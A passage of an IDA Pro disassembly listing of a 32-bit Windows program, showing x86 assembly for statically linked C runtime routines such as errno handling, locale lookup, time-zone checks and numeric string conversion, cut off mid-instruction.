loc_43156C ; --------------------------------------------------------------------------- loc_4315A3: ; CODE XREF: .text:004314CCj ; .text:00431575j ... mov eax, [ebp-0Ch] jmp short loc_4315B6 ; --------------------------------------------------------------------------- loc_4315A8: ; CODE XREF: .text:loc_4313D3j ; .text:0043144Aj ... call __errno mov dword ptr [eax], 16h or eax, 0FFFFFFFFh loc_4315B6: ; CODE XREF: .text:004315A6j pop esi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- off_4315BB dd offset loc_431476 ; DATA XREF: .text:0043146Fr dd offset loc_4314B0 dd offset loc_43148A dd offset loc_43149D dd offset loc_4314C2 byte_4315CF db 0 ; DATA XREF: .text:00431469r dd 3 dup(4040404h), 4040401h, 3020404h, 3 dup(0CCCCCCCCh) ; [00000092 BYTES: COLLAPSED FUNCTION ctrlevent_capture(x). PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000020A BYTES: COLLAPSED FUNCTION _raise. PRESS KEYPAD "+" TO EXPAND] off_43189A dd offset loc_4316C8 ; DATA XREF: _raise+31r dd offset loc_431733 dd offset loc_431719 dd offset loc_4316E5 dd offset loc_4316FF dd offset loc_43175E byte_4318B2 db 0 ; DATA XREF: _raise+2Br db 5 dd 5050501h, 1050501h, 2050505h, 5050505h, 0CC040305h dd 2 dup(0CCCCCCCCh) ; [0000005B BYTES: COLLAPSED FUNCTION _siglookup. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000000D BYTES: COLLAPSED FUNCTION unknown_libname_20. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000000D BYTES: COLLAPSED FUNCTION ___pxcptinfoptrs. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000BB BYTES: COLLAPSED FUNCTION ___crtMessageBoxA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000001E2 BYTES: COLLAPSED FUNCTION __alloc_osfhnd. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000B7 BYTES: COLLAPSED FUNCTION __set_osfhnd. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000D8 BYTES: COLLAPSED FUNCTION __free_osfhnd. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000066 BYTES: COLLAPSED FUNCTION __get_osfhandle. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000104 BYTES: COLLAPSED FUNCTION __open_osfhandle. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000086 BYTES: COLLAPSED FUNCTION __lock_fhandle. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000026 BYTES: COLLAPSED FUNCTION __unlock_fhandle. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000D2 BYTES: COLLAPSED FUNCTION unknown_libname_21. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000001BC BYTES: COLLAPSED FUNCTION ___crtGetStringTypeA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000C7 BYTES: COLLAPSED FUNCTION __getbuf. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000003F BYTES: COLLAPSED FUNCTION __open. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000050E BYTES: COLLAPSED FUNCTION __sopen. PRESS KEYPAD "+" TO EXPAND] off_43289E dd offset loc_43247E ; DATA XREF: __sopen+E7r dd offset loc_432487 dd offset loc_432490 dd offset loc_432499 dd offset loc_4324A2 byte_4328B2 db 0 ; DATA XREF: __sopen+E1r db 4 dd 3 dup(4040404h), 4010404h, 3 dup(4040404h), 4020404h dd 3 dup(4040404h), 0CC030404h, 3 dup(0CCCCCCCCh) ; [00000032 BYTES: COLLAPSED FUNCTION __isatty. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000077 BYTES: COLLAPSED FUNCTION _wctomb. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000A0 BYTES: COLLAPSED FUNCTION __wctomb_lk. PRESS KEYPAD "+" TO EXPAND] ; [0000007A BYTES: COLLAPSED FUNCTION _mbtowc. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000015E BYTES: COLLAPSED FUNCTION __mbtowc_lk. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000001F BYTES: COLLAPSED FUNCTION __allshl. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000066 BYTES: COLLAPSED FUNCTION _ungetc. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000013E BYTES: COLLAPSED FUNCTION _ungetc_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432E00 proc near ; CODE XREF: __umatherr+5Ap push ebp mov ebp, esp xor eax, eax pop ebp retn sub_432E00 endp ; --------------------------------------------------------------------------- align 10h ; [0000001F BYTES: COLLAPSED FUNCTION __statusfp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000020 BYTES: COLLAPSED FUNCTION __clearfp. PRESS KEYPAD "+" TO EXPAND] ; [0000004F BYTES: COLLAPSED FUNCTION __control87. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000001A BYTES: COLLAPSED FUNCTION __controlfp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000058 BYTES: COLLAPSED FUNCTION __fpreset. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000179 BYTES: COLLAPSED FUNCTION __abstract_cw. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000015A BYTES: COLLAPSED FUNCTION __hw_cw. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000A7 BYTES: COLLAPSED FUNCTION __abstract_sw. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000084 BYTES: COLLAPSED FUNCTION __ZeroTail. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000A8 BYTES: COLLAPSED FUNCTION __IncMan. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000DB BYTES: COLLAPSED FUNCTION __RoundMan. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000004C BYTES: COLLAPSED FUNCTION __CopyMan. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000002F BYTES: COLLAPSED FUNCTION __FillZeroMan. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000037 BYTES: COLLAPSED FUNCTION __IsZeroMan. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000EC BYTES: COLLAPSED FUNCTION __ShrMan. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000242 BYTES: COLLAPSED FUNCTION __ld12cvt. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4338D0 proc near ; CODE XREF: sub_4339D0+2Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push offset dword_455678 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call __ld12cvt add esp, 0Ch pop ebp retn sub_4338D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4338F0 proc near ; CODE XREF: sub_433A50+2Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push offset dword_455690 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call __ld12cvt add esp, 0Ch pop ebp retn sub_4338F0 endp ; --------------------------------------------------------------------------- align 10h ; [000000BF BYTES: COLLAPSED FUNCTION __ld12told. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4339D0 proc near ; CODE XREF: __fassign+14p var_10 = byte ptr -10h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push 0 push 0 push 0 push 0 mov eax, [ebp+arg_4] push eax lea ecx, [ebp+var_10] push ecx lea edx, [ebp+var_C] push edx call ___strgtold12 add esp, 1Ch mov eax, [ebp+arg_0] push eax lea ecx, [ebp+var_C] push ecx call sub_4338D0 add esp, 8 mov esp, ebp pop ebp retn sub_4339D0 endp ; --------------------------------------------------------------------------- align 10h ; [00000036 BYTES: COLLAPSED FUNCTION __atoldbl. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433A50 proc near ; CODE XREF: __fassign+34p var_10 = byte ptr -10h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push 0 push 0 push 0 push 0 mov eax, [ebp+arg_4] push eax lea ecx, [ebp+var_10] push ecx lea edx, [ebp+var_C] push edx call ___strgtold12 add esp, 1Ch mov eax, [ebp+arg_0] push eax lea ecx, [ebp+var_C] push ecx call sub_4338F0 add esp, 8 mov esp, ebp pop ebp retn sub_433A50 endp ; --------------------------------------------------------------------------- align 10h ; [000000FA BYTES: COLLAPSED FUNCTION __fptostr. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000077 BYTES: COLLAPSED FUNCTION __fltout2. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000162 BYTES: COLLAPSED FUNCTION ___dtold. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000000F BYTES: COLLAPSED FUNCTION __fptrap. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000005B BYTES: COLLAPSED FUNCTION __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000015 BYTES: COLLAPSED FUNCTION __CxxSetUnhandledExceptionFilter(void). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000011 BYTES: COLLAPSED FUNCTION __CxxRestoreUnhandledExceptionFilter(void). PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433E30 proc near ; CODE XREF: FindHandler(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,uchar,int,EHRegistrationNode *)+9Ep ; BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+77p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov [ebp+var_4], 1 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call ds:dword_4F64A4 ; IsBadReadPtr test eax, eax jz short loc_433E54 mov [ebp+var_4], 0 loc_433E54: ; CODE XREF: sub_433E30+1Bj mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_433E30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433E60 proc near ; CODE XREF: BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+89p ; BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+EDp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov [ebp+var_4], 1 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call ds:dword_4F64A0 ; IsBadWritePtr test eax, eax jz short loc_433E84 mov [ebp+var_4], 0 loc_433E84: ; CODE XREF: sub_433E60+1Bj mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_433E60 endp ; --------------------------------------------------------------------------- align 10h ; [00000027 BYTES: COLLAPSED FUNCTION _ValidateExecute(int (*)(void)). PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000001E BYTES: COLLAPSED FUNCTION _abort. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- pop ebp retn ; [0000003D BYTES: COLLAPSED FUNCTION ___tzset. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000001E BYTES: COLLAPSED FUNCTION __tzset. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000003AB BYTES: COLLAPSED FUNCTION __tzset_lk. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000002E BYTES: COLLAPSED FUNCTION __isindst. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_434320 proc near ; CODE XREF: __isindst+12p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4556AC, 0 jnz short loc_434334 xor eax, eax jmp loc_434616 ; --------------------------------------------------------------------------- loc_434334: ; CODE XREF: sub_434320+Bj mov eax, [ebp+arg_0] mov ecx, [eax+14h] cmp ecx, dword_455740 jnz short loc_434354 mov edx, [ebp+arg_0] mov eax, [edx+14h] cmp eax, dword_455750 jz loc_43451B loc_434354: ; CODE XREF: sub_434320+20j cmp dword_4F49D8, 0 jz loc_4344D5 xor ecx, ecx mov cx, word_4F4A78 test ecx, ecx jnz short loc_4343C9 xor edx, edx mov dx, word_4F4A86 push edx xor eax, eax mov ax, word_4F4A84 push eax xor ecx, ecx mov cx, word_4F4A82 push ecx xor edx, edx mov dx, word_4F4A80 push edx push 0 xor eax, eax mov ax, word_4F4A7C push eax xor ecx, ecx mov cx, word_4F4A7E push ecx xor edx, edx mov dx, word_4F4A7A push edx mov eax, [ebp+arg_0] mov ecx, [eax+14h] push ecx push 1 push 1 call _cvtdate add esp, 2Ch jmp short loc_43441A ; --------------------------------------------------------------------------- loc_4343C9: ; CODE XREF: sub_434320+4Cj xor edx, edx mov dx, word_4F4A86 push edx xor eax, eax mov ax, word_4F4A84 push eax xor ecx, ecx mov cx, word_4F4A82 push ecx xor edx, edx mov dx, word_4F4A80 push edx xor eax, eax mov ax, word_4F4A7E push eax push 0 push 0 xor ecx, ecx mov cx, word_4F4A7A push ecx mov edx, [ebp+arg_0] mov eax, [edx+14h] push eax push 0 push 1 call _cvtdate add esp, 2Ch loc_43441A: ; CODE XREF: sub_434320+A7j xor ecx, ecx mov cx, word_4F4A24 test ecx, ecx jnz short loc_434482 xor edx, edx mov dx, word_4F4A32 push edx xor eax, eax mov ax, word_4F4A30 push eax xor ecx, ecx mov cx, word_4F4A2E push ecx xor edx, edx mov dx, word_4F4A2C push edx push 0 xor eax, eax mov ax, word_4F4A28 push eax xor ecx, ecx mov cx, word_4F4A2A push ecx xor edx, edx mov dx, word_4F4A26 push edx mov eax, [ebp+arg_0] mov ecx, [eax+14h] push ecx push 1 push 0 call _cvtdate add esp, 2Ch jmp short loc_4344D3 ; --------------------------------------------------------------------------- loc_434482: ; CODE XREF: sub_434320+105j xor edx, edx mov dx, word_4F4A32 push edx xor eax, eax mov ax, word_4F4A30 push eax xor ecx, ecx mov cx, word_4F4A2E push ecx xor edx, edx mov dx, word_4F4A2C push edx xor eax, eax mov ax, word_4F4A2A push eax push 0 push 0 xor ecx, ecx mov cx, word_4F4A26 push ecx mov edx, [ebp+arg_0] mov eax, [edx+14h] push eax push 0 push 0 call _cvtdate add esp, 2Ch loc_4344D3: ; CODE XREF: sub_434320+160j jmp short loc_43451B ; --------------------------------------------------------------------------- loc_4344D5: ; CODE XREF: sub_434320+3Bj push 0 push 0 push 0 push 2 push 0 push 0 push 1 push 4 mov ecx, [ebp+arg_0] mov edx, [ecx+14h] push edx push 1 push 1 call _cvtdate add esp, 2Ch push 0 push 0 push 0 push 2 push 0 push 0 push 5 push 0Ah mov eax, [ebp+arg_0] mov ecx, [eax+14h] push ecx push 1 push 0 call _cvtdate add esp, 2Ch loc_43451B: ; CODE XREF: sub_434320+2Ej ; sub_434320:loc_4344D3j mov edx, dword_455744 cmp edx, dword_455754 jge short loc_434574 mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] cmp ecx, dword_455744 jl short loc_434545 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] cmp eax, dword_455754 jle short loc_43454C loc_434545: ; CODE XREF: sub_434320+215j xor eax, eax jmp loc_434616 ; --------------------------------------------------------------------------- loc_43454C: ; CODE XREF: sub_434320+223j mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] cmp edx, dword_455744 jle short loc_434572 mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] cmp ecx, dword_455754 jge short loc_434572 mov eax, 1 jmp loc_434616 ; --------------------------------------------------------------------------- loc_434572: ; CODE XREF: sub_434320+238j ; sub_434320+246j jmp short loc_4345B7 ; --------------------------------------------------------------------------- loc_434574: ; CODE XREF: sub_434320+207j mov edx, [ebp+arg_0] mov eax, [edx+1Ch] cmp eax, dword_455754 jl short loc_434590 mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] cmp edx, dword_455744 jle short loc_434597 loc_434590: ; CODE XREF: sub_434320+260j mov eax, 1 jmp short loc_434616 ; --------------------------------------------------------------------------- loc_434597: ; CODE XREF: sub_434320+26Ej mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] cmp ecx, dword_455754 jle short loc_4345B7 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] cmp eax, dword_455744 jge short loc_4345B7 xor eax, eax jmp short loc_434616 ; --------------------------------------------------------------------------- loc_4345B7: ; CODE XREF: sub_434320:loc_434572j ; sub_434320+283j ... mov ecx, [ebp+arg_0] mov edx, [ecx+4] imul edx, 3Ch mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, edx mov edx, [ebp+arg_0] mov eax, [edx+8] imul eax, 0E10h add ecx, eax imul ecx, 3E8h mov [ebp+var_4], ecx mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] cmp edx, dword_455744 jnz short loc_434602 mov eax, [ebp+var_4] cmp eax, dword_455748 jl short loc_4345FE mov eax, 1 jmp short loc_434616 ; --------------------------------------------------------------------------- loc_4345FE: ; CODE XREF: sub_434320+2D5j xor eax, eax jmp short loc_434616 ; --------------------------------------------------------------------------- loc_434602: ; CODE XREF: sub_434320+2CAj mov ecx, [ebp+var_4] cmp ecx, dword_455758 jge short loc_434614 mov eax, 1 jmp short loc_434616 ; --------------------------------------------------------------------------- loc_434614: ; CODE XREF: sub_434320+2EBj xor eax, eax loc_434616: ; CODE XREF: sub_434320+Fj ; sub_434320+227j ... mov esp, ebp pop ebp retn sub_434320 endp ; --------------------------------------------------------------------------- align 10h ; [000001F8 BYTES: COLLAPSED FUNCTION _cvtdate. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000DB BYTES: COLLAPSED FUNCTION ___init_time. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000058F BYTES: COLLAPSED FUNCTION __get_lc_time. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000030B BYTES: COLLAPSED FUNCTION __free_lc_time. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000002A6 BYTES: COLLAPSED FUNCTION ___init_numeric. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000007D BYTES: COLLAPSED FUNCTION _fix_grouping. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000130 BYTES: COLLAPSED FUNCTION ___init_monetary. PRESS KEYPAD "+" TO EXPAND] ; [0000020D BYTES: COLLAPSED FUNCTION __get_lc_lconv. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000007D BYTES: COLLAPSED FUNCTION _fix_grouping_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000093 BYTES: COLLAPSED FUNCTION __free_lc_lconv. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000003A0 BYTES: COLLAPSED FUNCTION unknown_libname_24. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435CD0 proc near ; DATA XREF: .data:004554F4o push ebp mov ebp, esp xor eax, eax pop ebp retn sub_435CD0 endp ; --------------------------------------------------------------------------- align 10h ; [0000003E BYTES: COLLAPSED FUNCTION _strcspn. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000003A BYTES: COLLAPSED FUNCTION unknown_libname_26. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000200 BYTES: COLLAPSED FUNCTION ___get_qualified_locale. PRESS KEYPAD "+" TO EXPAND] ; [00000082 BYTES: COLLAPSED FUNCTION _TranslateName. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000BA BYTES: COLLAPSED FUNCTION _GetLcidFromLangCountry. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000324 BYTES: COLLAPSED FUNCTION LangCountryEnumProc(x). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000074 BYTES: COLLAPSED FUNCTION _GetLcidFromLanguage. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000011F BYTES: COLLAPSED FUNCTION LanguageEnumProc(x). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000045 BYTES: COLLAPSED FUNCTION _GetLcidFromCountry. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000AC BYTES: COLLAPSED FUNCTION CountryEnumProc(x). PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000002B BYTES: COLLAPSED FUNCTION _GetLcidFromDefault. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000009B BYTES: COLLAPSED FUNCTION _ProcessCodePage. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000004F BYTES: COLLAPSED FUNCTION _TestDefaultCountry. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000087 BYTES: COLLAPSED FUNCTION _TestDefaultLanguage. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000004D BYTES: COLLAPSED FUNCTION _IsThisWindowsNT. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000184 BYTES: COLLAPSED FUNCTION crtGetLocaleInfoA(x,x,x,x). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000076 BYTES: COLLAPSED FUNCTION _LcidFromHexString. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000065 BYTES: COLLAPSED FUNCTION _GetPrimaryLen. PRESS KEYPAD "+" TO EXPAND] align 10h push ebp mov ebp, esp push 1 push 0 mov eax, [ebp+8] push eax call sub_436C80 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h ; [00000015 BYTES: COLLAPSED FUNCTION __ismbbkprint. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000015 BYTES: COLLAPSED FUNCTION __ismbbkpunct. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000018 BYTES: COLLAPSED FUNCTION __ismbbalnum. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000018 BYTES: COLLAPSED FUNCTION __ismbbalpha. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000018 BYTES: COLLAPSED FUNCTION __ismbbgraph. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000018 BYTES: COLLAPSED FUNCTION __ismbbprint. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000015 BYTES: COLLAPSED FUNCTION __ismbbpunct. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000015 BYTES: COLLAPSED FUNCTION __ismbblead. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000015 BYTES: COLLAPSED FUNCTION __ismbbtrail. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000003B BYTES: COLLAPSED FUNCTION __ismbbkana. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_436C80 proc near ; CODE XREF: .text:00436B0Bp ; __ismbbkprint+Bp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_0] and eax, 0FFh mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor edx, edx mov dl, byte_4F4D61[ecx] and edx, [ebp+arg_8] test edx, edx jnz short loc_436CD4 cmp [ebp+arg_4], 0 jz short loc_436CBE mov eax, [ebp+arg_0] xor ecx, ecx mov cx, word ptr (__wctype+2)[eax*2] and ecx, [ebp+arg_4] mov [ebp+var_4], ecx jmp short loc_436CC5 ; --------------------------------------------------------------------------- loc_436CBE: ; CODE XREF: sub_436C80+27j mov [ebp+var_4], 0 loc_436CC5: ; CODE XREF: sub_436C80+3Cj cmp [ebp+var_4], 0 jnz short loc_436CD4 mov [ebp+var_8], 0 jmp short loc_436CDB ; --------------------------------------------------------------------------- loc_436CD4: ; CODE XREF: sub_436C80+21j ; sub_436C80+49j mov [ebp+var_8], 1 loc_436CDB: ; CODE XREF: sub_436C80+52j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_436C80 endp ; --------------------------------------------------------------------------- align 10h ; [00000073 BYTES: COLLAPSED FUNCTION __chsize. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000230 BYTES: COLLAPSED FUNCTION __chsize_lk. PRESS KEYPAD "+" TO EXPAND] ; [0000003E BYTES: COLLAPSED FUNCTION ___addl. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000AD BYTES: COLLAPSED FUNCTION ___add_12. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000060 BYTES: COLLAPSED FUNCTION ___shl_12. PRESS KEYPAD "+" TO EXPAND] ; [00000063 BYTES: COLLAPSED FUNCTION ___shr_12. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000013B BYTES: COLLAPSED FUNCTION ___mtold12. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000A1A BYTES: COLLAPSED FUNCTION ___strgtold12. PRESS KEYPAD "+" TO EXPAND] off_437CBA dd offset loc_43737C ; DATA XREF: ___strgtold12+D5r dd offset loc_43741A dd offset loc_4374D0 dd offset loc_43753B dd offset loc_437653 dd offset loc_437785 dd offset loc_4377FB dd offset loc_4378E0 dd offset loc_437882 dd offset loc_437933 dd offset loc_437AA3 dd offset loc_437A3F off_437CEA dd offset loc_4374A9 ; DATA XREF: ___strgtold12+1F0r dd offset loc_437497 dd offset loc_4374A0 dd offset loc_4374BB byte_437CFA db 0 ; DATA XREF: ___strgtold12+1EAr db 3 dd 1030300h, 4 dup(3030303h), 2030303h, 3030302h, 6 dup(3030303h) dd 2030303h db 2 dd offset loc_43762C ; DATA XREF: ___strgtold12+37Cr dd offset loc_437623 dd offset loc_43763E byte_437D41 db 0 ; DATA XREF: ___strgtold12+376r dw 2 dd 5 dup(2020202h), 1010202h, 7 dup(2020202h), 1010202h off_437D7C dd offset loc_43775E ; DATA XREF: ___strgtold12+4AEr dd offset loc_437755 dd offset loc_437770 byte_437D88 db 0 ; DATA XREF: ___strgtold12+4A8r db 2, 0, 2 dd 5 dup(2020202h), 2010102h, 7 dup(2020202h), 0CC010102h dd 3 dup(0CCCCCCCCh) ; [0000004F BYTES: COLLAPSED FUNCTION ___STRINGTOLD. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000516 BYTES: COLLAPSED FUNCTION _$I10_OUTPUT. PRESS KEYPAD "+" TO EXPAND] align 10h push ebp mov ebp, esp push ecx push 0Ch call __lock add esp, 4 mov eax, [ebp+8] push eax call _getenv add esp, 4 mov [ebp-4], eax push 0Ch call __unlock add esp, 4 mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; [000000C6 BYTES: COLLAPSED FUNCTION _getenv. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000121 BYTES: COLLAPSED FUNCTION __Getdays. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000123 BYTES: COLLAPSED FUNCTION __Getmonths. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000036E BYTES: COLLAPSED FUNCTION __Gettnames. PRESS KEYPAD "+" TO EXPAND] align 10h push ebp mov ebp, esp push 0 mov eax, [ebp+14h] push eax mov ecx, [ebp+10h] push ecx mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call sub_438A30 add esp, 14h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_438A30 proc near ; CODE XREF: .text:00438A25p var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] mov [ebp+var_C], eax push offset dword_4F4C48 call ds:dword_4F64BC ; InterlockedIncrement cmp dword_4F4C44, 0 jz short loc_438A6E push offset dword_4F4C48 call ds:dword_4F64B8 ; InterlockedDecrement push 13h call __lock add esp, 4 mov [ebp+var_8], 1 jmp short loc_438A75 ; --------------------------------------------------------------------------- loc_438A6E: ; CODE XREF: sub_438A30+1Ej mov [ebp+var_8], 0 loc_438A75: ; CODE XREF: sub_438A30+3Cj cmp [ebp+arg_10], 0 jnz short loc_438A86 mov ecx, off_455F48 mov [ebp+var_10], ecx jmp short loc_438A8C ; --------------------------------------------------------------------------- loc_438A86: ; CODE XREF: sub_438A30+49j mov edx, [ebp+arg_10] mov [ebp+var_10], edx loc_438A8C: ; CODE XREF: sub_438A30+54j mov eax, [ebp+var_10] mov [ebp+var_4], eax loc_438A92: ; CODE XREF: sub_438A30:loc_438B7Ej cmp [ebp+var_C], 0 jbe loc_438B83 mov ecx, [ebp+arg_8] mov dl, [ecx] mov [ebp+var_14], dl cmp [ebp+var_14], 0 jz short loc_438AB2 cmp [ebp+var_14], 25h jz short loc_438AB7 jmp short loc_438B11 ; --------------------------------------------------------------------------- loc_438AB2: ; CODE XREF: sub_438A30+78j jmp loc_438B83 ; --------------------------------------------------------------------------- loc_438AB7: ; CODE XREF: sub_438A30+7Ej mov eax, [ebp+arg_8] add eax, 1 mov [ebp+arg_8], eax mov dword_4F4B20, 0 mov ecx, [ebp+arg_8] movsx edx, byte ptr [ecx] cmp edx, 23h jnz short loc_438AE8 mov 